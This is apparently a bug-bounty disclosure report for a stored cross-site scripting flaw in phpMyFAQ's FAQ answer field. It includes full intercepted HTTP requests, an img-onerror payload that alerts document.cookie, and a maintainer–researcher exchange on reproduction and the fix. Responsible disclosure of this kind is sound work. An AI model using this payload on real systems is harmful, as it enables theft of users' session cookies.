Insufficient Filtering Leads to Stored Cross Site Scripting at FAQ in thorsten/phpmyfaq

Valid

Reported on

Apr 12th 2023


Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

Based on the github commit -> Github Commit Here, it does not properly filter the input of answer value at the FAQ module which we can use another way to bypass the filtering to achieve XSS.

Proof of Concept

Step 1: Go to Add New FAQ

Step 2: Add a FAQ

Step 3: Intercept the request

Original Request

POST /phpmyfaqnew/phpmyfaq/admin/?action=saveentry&id=1 HTTP/1.1

Host: DOMAIN
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 386
Origin: http://DOMAIN
Connection: close
Referer: http://DOMAIN/phpmyfaqnew/phpmyfaq/admin/index.php?action=editentry&id=1&lang=en

Cookie: pmf-csrf-token-4236a440a6=b87cdd3fd8c6d1de681c8b31db7dc6a0; pmf-csrf-token-43e075fa5c=4112ad08e777ea655bdda1432bcbead7; pmf-csrf-token-bdeef9669c=4bbb9d75362140185ed5f75cf0ec1a5a; pmf-csrf-token-b3e2016b52=9f1032e847cd1b8dfb4bf2ffa6fac78f; pmf_sid=6; pmf-csrf-token-cb8b33e854=4c9a133f64f4c91e0dd7176ecb389e34; phpmyfaq_cc_cookie={"categories":["necessary"],"level":["necessary"],"revision":0,"data":null,"rfc_cookie":false,"consent_date":"2023-04-10T08:02:28.700Z","consent_uuid":"88b3118d-69c6-41cb-bc18-18dca9e1ef90","last_consent_update":"2023-04-10T08:02:28.700Z"}; PHPSESSID=ms5d3elu5q7n2tld87bmlqsvaf; phpmyfaq-setup=d9qrapfg2ghlr07u7sneo8sfj9

Upgrade-Insecure-Requests: 1

revision_id=0&record_id=1&openQuestionId=0&notifyUser=&notifyEmail=&pmf-csrf-token=2cabe3dba435b55e8b35b8604f8cd242&question=test&answer=%3Cp%3Etest%3C%2Fp%3E&rubrik%5B%5D=1&lang=en&tags=&keywords=&author=admin&email=admin%40admin.com&grouppermission=all&userpermission=all&restricted_users=1&changed=&notes=&recordDateHandling=on&date=&active=yes&revision=no&comment=y&solution_id=1000

Step 4: We can see the answer value -> %3Cp%3Etest%3C%2Fp%3E

Step 5: Change it to <img+src=asdf+onerror=alert(document.cookie)>

Edited Request

POST /phpmyfaqnew/phpmyfaq/admin/?action=saveentry&id=1 HTTP/1.1

Host: 192.168.93.136
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 386
Origin: http://192.168.93.136
Connection: close
Referer: http://192.168.93.136/phpmyfaqnew/phpmyfaq/admin/index.php?action=editentry&id=1&lang=en

Cookie: pmf-csrf-token-4236a440a6=b87cdd3fd8c6d1de681c8b31db7dc6a0; pmf-csrf-token-43e075fa5c=4112ad08e777ea655bdda1432bcbead7; pmf-csrf-token-bdeef9669c=4bbb9d75362140185ed5f75cf0ec1a5a; pmf-csrf-token-b3e2016b52=9f1032e847cd1b8dfb4bf2ffa6fac78f; pmf_sid=6; pmf-csrf-token-cb8b33e854=4c9a133f64f4c91e0dd7176ecb389e34; phpmyfaq_cc_cookie={"categories":["necessary"],"level":["necessary"],"revision":0,"data":null,"rfc_cookie":false,"consent_date":"2023-04-10T08:02:28.700Z","consent_uuid":"88b3118d-69c6-41cb-bc18-18dca9e1ef90","last_consent_update":"2023-04-10T08:02:28.700Z"}; PHPSESSID=ms5d3elu5q7n2tld87bmlqsvaf; phpmyfaq-setup=d9qrapfg2ghlr07u7sneo8sfj9

Upgrade-Insecure-Requests: 1

revision_id=0&record_id=1&openQuestionId=0&notifyUser=&notifyEmail=&pmf-csrf-token=2cabe3dba435b55e8b35b8604f8cd242&question=test&answer=<img+src=asdf+onerror=alert(document.cookie)>&rubrik%5B%5D=1&lang=en&tags=&keywords=&author=admin&email=admin%40admin.com&grouppermission=all&userpermission=all&restricted_users=1&changed=&notes=&recordDateHandling=on&date=&active=yes&revision=no&comment=y&solution_id=1000

Step 6: Save it

Step 7: Go to the FAQ

Step 8: XSS tiggered!

Impact

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

References

We are processing your report and will contact the thorsten/phpmyfaq team within 24 hours. a month ago
choocs modified the report
a month ago
choocs modified the report
a month ago
thorsten/phpmyfaq maintainer has acknowledged this report a month ago
Thorsten Rinne validated this vulnerability a month ago
choocs has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Thorsten Rinne
a month ago

Maintainer


Re-tested it, I got a error then:

Uncaught exception: 'ErrorException' Message: 'DOMDocument::loadHTML(): error parsing attribute name in Entity, line: 1'

choocs
a month ago

Researcher


Can you reproduce the bug? If not I can provide a PoC video for you :)

Thorsten Rinne
a month ago

Maintainer


I can't reproduce it. I put the XSS directly into the database as content.

choocs
a month ago

Researcher


Yes, I did faced the same error too, but manage to workaround using this payload. Here is the PoC video: https://mega.nz/file/wrhFkYAI#vIr3MSGZnQFuLWZOvVGbDnHj0WcOlw1NZPKyM366XGA

Thorsten Rinne
a month ago

Maintainer


Okay, I had a "+" instead of space in the "broken" tag. Now I can re-produce it.

choocs
a month ago

Researcher


Cool 👍

Thorsten Rinne marked this as fixed in 3.2.0-beta with commit 5401ab a month ago
Thorsten Rinne has been awarded the fix bounty
This vulnerability has been assigned a CVE
This vulnerability is scheduled to go public on Jun 30th 2023
FaqHelper.php#L237-L249 has been validated
choocs
a month ago

Researcher


Thanks for the quick validation! Appreciate!

Thorsten Rinne published this vulnerability 9 days ago
to join this conversation